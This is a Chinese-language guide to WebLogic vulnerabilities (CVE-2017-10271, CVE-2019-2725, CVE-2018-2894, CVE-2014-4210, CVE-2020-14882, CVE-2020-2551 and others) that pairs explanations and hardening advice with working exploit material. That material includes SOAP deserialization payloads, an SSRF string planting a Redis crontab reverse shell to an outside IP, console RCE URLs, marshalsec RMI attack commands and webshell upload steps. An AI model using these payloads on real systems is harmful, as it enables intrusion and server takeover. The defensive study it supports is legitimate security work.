weblogic中间件漏洞总结
字数 2527 2025-08-09 18:44:09

WebLogic中间件漏洞全面分析与防护指南

一、WebLogic简介

WebLogic是美国Oracle公司出品的一个基于JAVAEE架构的中间件服务器,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。主要特点包括:

  • 支持多种标准:EJB、JSP、Servlet、JMS、JDBC、XML和WML
  • 高扩展架构体系:客户机连接共享、资源pooling、动态网页和EJB组件群集
  • 默认端口:7001
  • 活跃版本:10.3.6.0、12.1.3.0、12.2.1.1-1.3

二、WebLogic安装与配置

1. 环境准备

  • 下载地址:Oracle官网
  • 版本要求:
    • WebLogic 10.3.6:支持JDK 1.6/1.7
    • WebLogic 12+:需要JDK 1.8+

2. 安装流程

  1. 双击安装程序启动
  2. 选择安装目录(默认即可)
  3. 设置管理员账户(如weblogic/zcc12345)
  4. 选择开发模式(自动部署)或生产模式(关闭自动部署)
  5. 完成安装并创建域

3. 启动与访问

  • 启动脚本:startWebLogic.cmd(需输入管理员凭据)
  • 控制台URL:http://[IP]:7001/console/

三、WebLogic漏洞详解

1. XMLDecoder反序列化漏洞 (CVE-2017-10271)

漏洞原理

  • WLS Security组件使用XMLDecoder解析用户传入的XML数据时存在反序列化漏洞

影响版本

  • 10.3.6.0
  • 12.1.3.0.0
  • 12.2.1.1.0

检测方法

  • 访问/wls-wsat/CoordinatorPortType(POST)
  • 查看web.xml确认受影响URL:
    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    

利用POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java><java version="1.4.0" class="java.beans.XMLDecoder">
        <object class="java.io.PrintWriter"> 
          <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
          <void method="println"><string><![CDATA[<% out.print("test"); %>]]></string></void>
          <void method="close"/>
        </object>
      </java></java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

防护措施

2. XMLDecoder反序列化漏洞 (CVE-2017-3506)

与CVE-2017-10271关系

  • CVE-2017-10271是CVE-2017-3506的绕过
  • 补丁验证函数检查object标签

影响版本

  • 10.3.6.0
  • 12.1.3.0
  • 12.2.1.0-1.2

3. wls-wsat反序列化漏洞 (CVE-2019-2725)

漏洞特点

  • CVE-2017-10271的又一入口
  • 补丁限制:过滤class标签,限制array标签中byte长度

影响组件

  • bea_wls9_async_response.war
  • wsat.war

检测URL

  • /_async/AsyncResponseService(返回200存在漏洞)

利用方法

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
  xmlns:wsa="http://www.w3.org/2005/08/addressing"
  xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
          <void index="0"><string>cmd.exe</string></void>
          <void index="1"><string>/c</string></void>
          <void index="2"><string>calc</string></void>
        </array>
        <void method="start"/>
      </void>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body>
</soapenv:Envelope>

4. T3协议反序列化漏洞 (CVE-2018-2628)

漏洞原理

  • 通过T3协议在Weblogic Server中执行反序列化操作
  • 利用RMI机制的缺陷,通过JRMP协议执行任意payload

相关漏洞

  • CVE-2015-4852
  • CVE-2016-0638
  • CVE-2016-3510
  • CVE-2017-3248
  • CVE-2018-2893

检测工具

  • Python检测脚本:CVE-2018-2628
  • 图形化工具:k8weblogicGUI.exe

防护措施

  1. 配置连接过滤器:
    • 路径:安全 → 筛选器
    • 筛选器类:weblogic.security.net.ConnectionFilterImpl
  2. 规则示例:
    127.0.0.1 * * allow
    * * 7001 allow
    * * * deny
    

5. 未授权访问漏洞 (CVE-2018-2894)

漏洞特点

  • Web Service Test Page存在未授权文件上传
  • 开发模式默认存在,生产模式需手动开启

影响版本

  • 10.3.6
  • 12.1.3
  • 12.2.1.2-1.3

利用方法

  1. 访问测试页:
    • /ws_utc/config.do
    • /ws_utc/begin.do
  2. 设置Work Home Dir为css目录
  3. 上传JSP木马
  4. 访问路径:/ws_utc/css/config/keystore/[时间戳]_[文件名]

6. SSRF漏洞 (CVE-2014-4210)

漏洞原理

  • 通过SearchPublicReqistries.jsp探测内网服务

检测URL

  • /uddiexplorer/SearchPublicRegistries.jsp

利用场景

  1. 端口扫描:
    • 开放端口返回:could not connect over HTTP
    • 未开放端口返回:404 error code
  2. 攻击Redis:
    operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.104%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
    

7. 弱口令与后台Getshell

利用流程

  1. 通过弱口令登录控制台
  2. 部署 → 安装 → 上传WAR包
  3. 访问部署路径执行webshell

防护建议

  • 使用强密码策略
  • 定期更换管理员密码

8. Console HTTP协议RCE (CVE-2020-14882/14883)

漏洞组合

  • CVE-2020-14883:权限绕过
  • CVE-2020-14882:代码执行

影响版本

  • 10.3.6.0
  • 12.1.3.0
  • 12.2.1.3-1.4
  • 14.1.1.0

利用POC

  1. 权限绕过:
    /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
    
  2. 代码执行:
    /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test%27);%22);
    

9. IIOP反序列化漏洞 (CVE-2020-2551)

漏洞原理

  • IIOP协议反序列化导致RCE

利用条件

  • 需要Java 8环境

利用步骤

  1. 编译恶意类:
    public class exp {
      static{
        try {
          Runtime.getRuntime().exec("calc");
        } catch(Exception e) {}
      }
    }
    
  2. 启动RMI服务:
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker/#exp" 12345
    
  3. 执行攻击:
    java -jar weblogic_CVE_2020_2551.jar [target] 7001 rmi://[attacker]:12345/exp
    

四、综合防护方案

  1. 补丁管理

    • 定期关注Oracle关键补丁更新(CPU)
    • 及时安装安全补丁
  2. 配置加固

    • 关闭不必要的协议(如T3、IIOP)
    • 启用生产模式
    • 配置连接过滤器
  3. 访问控制

    • 使用强密码策略
    • 限制管理控制台访问IP
    • 禁用测试页面
  4. 监控与审计

    • 监控异常流量(如大量T3请求)
    • 定期审计日志
  5. 架构安全

    • WebLogic服务器置于DMZ区
    • 实施网络分段,限制横向移动

五、参考资源

  1. 官方补丁:

  2. 检测工具:

  3. 漏洞验证环境:

    • Vulhub Docker镜像
    • WebLogic官方安装包
WebLogic中间件漏洞全面分析与防护指南 一、WebLogic简介 WebLogic是美国Oracle公司出品的一个基于JAVAEE架构的中间件服务器,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。主要特点包括: 支持多种标准:EJB、JSP、Servlet、JMS、JDBC、XML和WML 高扩展架构体系:客户机连接共享、资源pooling、动态网页和EJB组件群集 默认端口:7001 活跃版本:10.3.6.0、12.1.3.0、12.2.1.1-1.3 二、WebLogic安装与配置 1. 环境准备 下载地址: Oracle官网 版本要求: WebLogic 10.3.6:支持JDK 1.6/1.7 WebLogic 12+:需要JDK 1.8+ 2. 安装流程 双击安装程序启动 选择安装目录(默认即可) 设置管理员账户(如weblogic/zcc12345) 选择开发模式(自动部署)或生产模式(关闭自动部署) 完成安装并创建域 3. 启动与访问 启动脚本: startWebLogic.cmd (需输入管理员凭据) 控制台URL: http://[IP]:7001/console/ 三、WebLogic漏洞详解 1. XMLDecoder反序列化漏洞 (CVE-2017-10271) 漏洞原理 : WLS Security组件使用XMLDecoder解析用户传入的XML数据时存在反序列化漏洞 影响版本 : 10.3.6.0 12.1.3.0.0 12.2.1.1.0 检测方法 : 访问 /wls-wsat/CoordinatorPortType (POST) 查看 web.xml 确认受影响URL: 利用POC : 防护措施 : 安装Oracle官方补丁: CPU Oct 2017 2. XMLDecoder反序列化漏洞 (CVE-2017-3506) 与CVE-2017-10271关系 : CVE-2017-10271是CVE-2017-3506的绕过 补丁验证函数检查object标签 影响版本 : 10.3.6.0 12.1.3.0 12.2.1.0-1.2 3. wls-wsat反序列化漏洞 (CVE-2019-2725) 漏洞特点 : CVE-2017-10271的又一入口 补丁限制:过滤class标签,限制array标签中byte长度 影响组件 : bea_ wls9_ async_ response.war wsat.war 检测URL : /_async/AsyncResponseService (返回200存在漏洞) 利用方法 : 4. T3协议反序列化漏洞 (CVE-2018-2628) 漏洞原理 : 通过T3协议在Weblogic Server中执行反序列化操作 利用RMI机制的缺陷,通过JRMP协议执行任意payload 相关漏洞 : CVE-2015-4852 CVE-2016-0638 CVE-2016-3510 CVE-2017-3248 CVE-2018-2893 检测工具 : Python检测脚本: CVE-2018-2628 图形化工具:k8weblogicGUI.exe 防护措施 : 配置连接过滤器: 路径:安全 → 筛选器 筛选器类: weblogic.security.net.ConnectionFilterImpl 规则示例: 5. 未授权访问漏洞 (CVE-2018-2894) 漏洞特点 : Web Service Test Page存在未授权文件上传 开发模式默认存在,生产模式需手动开启 影响版本 : 10.3.6 12.1.3 12.2.1.2-1.3 利用方法 : 访问测试页: /ws_utc/config.do /ws_utc/begin.do 设置Work Home Dir为css目录 上传JSP木马 访问路径: /ws_utc/css/config/keystore/[时间戳]_[文件名] 6. SSRF漏洞 (CVE-2014-4210) 漏洞原理 : 通过 SearchPublicReqistries.jsp 探测内网服务 检测URL : /uddiexplorer/SearchPublicRegistries.jsp 利用场景 : 端口扫描: 开放端口返回: could not connect over HTTP 未开放端口返回: 404 error code 攻击Redis: 7. 弱口令与后台Getshell 利用流程 : 通过弱口令登录控制台 部署 → 安装 → 上传WAR包 访问部署路径执行webshell 防护建议 : 使用强密码策略 定期更换管理员密码 8. Console HTTP协议RCE (CVE-2020-14882/14883) 漏洞组合 : CVE-2020-14883:权限绕过 CVE-2020-14882:代码执行 影响版本 : 10.3.6.0 12.1.3.0 12.2.1.3-1.4 14.1.1.0 利用POC : 权限绕过: 代码执行: 9. IIOP反序列化漏洞 (CVE-2020-2551) 漏洞原理 : IIOP协议反序列化导致RCE 利用条件 : 需要Java 8环境 利用步骤 : 编译恶意类: 启动RMI服务: 执行攻击: 四、综合防护方案 补丁管理 : 定期关注Oracle关键补丁更新(CPU) 及时安装安全补丁 配置加固 : 关闭不必要的协议(如T3、IIOP) 启用生产模式 配置连接过滤器 访问控制 : 使用强密码策略 限制管理控制台访问IP 禁用测试页面 监控与审计 : 监控异常流量(如大量T3请求) 定期审计日志 架构安全 : WebLogic服务器置于DMZ区 实施网络分段,限制横向移动 五、参考资源 官方补丁: Oracle Security Alerts 检测工具: CVE-2018-2628检测脚本 WebLogicScan 漏洞验证环境: Vulhub Docker镜像 WebLogic官方安装包